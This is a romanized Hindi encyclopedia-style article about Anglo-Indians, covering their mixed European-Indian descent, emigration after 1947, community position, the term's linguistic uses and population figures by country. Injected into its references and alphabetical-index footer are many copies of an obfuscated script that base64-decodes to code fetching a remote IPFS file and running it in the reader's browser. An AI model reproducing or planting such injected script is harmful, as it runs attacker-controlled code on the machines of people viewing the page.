ऐंग्लो इंडियन

aianglo iandiyan (aangrezi: Anglo-Indian) ek vishesh shabd hai jo jati aur bhasha ke sanbandh mean prayog kiya jata hai. bharat mean nivasi aisa vyakti jo yooropiy vansh ke purush ki bharat kshetr mean janmi santan ho athava kisi aise kshetr mean janmi ho jahaan par ki vah asthayi taur par n rahata raha ho, aianglo iandiyan kahalata hai. 15 agast 1947 ko ne rashtr ke uday ke sath hi aianglo iandiyan ka sansar lupt ho gaya. jahaan ek taraph, bharat ne 300 sal purane upaniveshavad ka khatma kiya aur bharat ke svatantr nagarik apane bhavishy ke sapane bunane lag ge the vahian doosari taraf, british apane bistar gol kar rahe the, apani golf ki chh diyaan, apani fauji poshak tatha apani smritiyoan ko sametakar apane ghar laut rahe the. jahaan any bharatavasi unake jane par khush ho rahe the vahian desh mean ek aisa tabaka bhi tha jo khush hone ke bajay dukhi tha. ye kaun log the? ye ve log the jo yooropiy mool ke aangrez, dach, fraansisi aur purtagali afasaroan, huqmaran aur vyapariyoan ki varn sankar santanean thian tatha aangrez, dach, fraansisi aur purtagali ki santanean hone par garvit thian. aise aangrez pita jab bharat chho dakar jane lage to apani anachahi aianglo iandiyan auladoan ko yahian chho d ge. un auladoan ko ummid thi ki ve bhi unake sath landan jaeange jabaki aangrez unhean chho d ge aur apani jivan shaili, samaj ke am adami se doori banae rakhane ki paranpara aur aangrezi bhasha ka turra de ge. ye un paranparaoan aur khokhali tahazib ke bal par kab tak yahaan rah sakate the? atah in logoan ne bhi kuchh dinoan bad yahaan se palayan shuroo kiya aur dhire dhire, yahaan se kanada, amarika, dakshin afrika, yoorop ki rah pak di.^[1]

jati ke sanbandh mean aianglo iandiyan

jati ke sanbandh mean yah shabd un aangrezoan ki or sanket karata hai jo bharat mean bas ge haian ya vyavasay athava padadhikar se yahaan pravas karate haian. inaki sankhya to aj bharat mean vishesh nahian hai aur matr pravasi hone ke karan unako desh ke rajanitik adhikar bhi prapt nahian, parantu ek doosara varg unase sanbandhit is desh ka hai aur use desh ke nagarikoan ke sare hak bhi hasil haian. yah varg bharat ke aangrez pravasiyoan aur bharatiy striyoan ke sanpark se utpann hua hai jo aianglo iandiyan kahalata hai. inaki sankhya kafi hai aur lokasabha mean inake vishesh pratinidhi ke lie sanvaidhanik adhikar bhi surakshit haian. is samuday ke samajhadar vyakti apane ko sarvatha bharatiy aur bharat ke sukh-du:kh mean sharik manate haian, parantu adhikatar ye sthaniy janata se ghana sanpark nahian bana pate aur ianglaiand ki sahayata ki apeksha karate haian. inaka aangrezoan se raktasanbandh hona, aangrezi ka inaki janmajat aur sadharan bolachal ki bhasha hona aur unaka dharm se eesaee hona bhi unhean apana videshi roop banae rakhane mean sahayak hote haian. unaki samoochi sanskriti aangreji vicharadhara aur rahan-sahan se prabhavit tatha anupramanit hai. tathapi ab ve dhire-dhire desh ki nity badalati paristhitiyoan ke anukool hote ja rahe haian.

bhasha ke sanbandh mean aianglo iandiyan

aianglo iandiyan shabd ka vyavahar pravasi aangrejoan ki bharatiy mataoan se prasoot santatiyoan athava unase prajanit santanoan se bhinn bhasha ke arth mean bhi hota hai. aianglo iandiyan bhasha ke anek roop haian. kabhi to isaka prayog bharatiyoan dvara likhi shuddh aangrezi ke arth mean hua hai aur kabhi un aangrezoan ki bhasha ke sanbandh mean bhi jinhoanne bharat mean rahakar likha hai, yadyapi bhashashastr ki drishti se donoan mean sthaniy prabhavoan ke atirikt koee vishesh bhed nahian hai. phir aianglo iandiyan se tatpary us sankar hiandi bhasha se bhi hai jo bharat ke aiangloan iandiyan apane se bhinn bharatiyoan se bolate haian. is shabd ka vyavahar anek bar us hiandi bhasha ke sanbandh mean bhi hua hai jise hiandustani kahate haian. parantu is arth mean isaka upayog akaran aur anuchit donoan haian.

'aianglo iandiyan' ki abadi vale mahattvapoorn kshetr
desh	abadi (lagabhag)
bharat	300,000 – 1,000,000
sanyukt rashtr (yoo.ke.)	80,000
aaustreliya	22,000
kanada	22,000
sanyukt rajy (yoo.es.)	20,000
myaanmar (varma)	19,200

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ aianglo iandiyan aur aangrezi ka shool (hiandi) rajabhasha vikas parishad. abhigaman tithi: 12 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] yan aur aangrezi ka shool (hiandi) rajabhasha vikas parishad. abhigaman tithi: 12 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]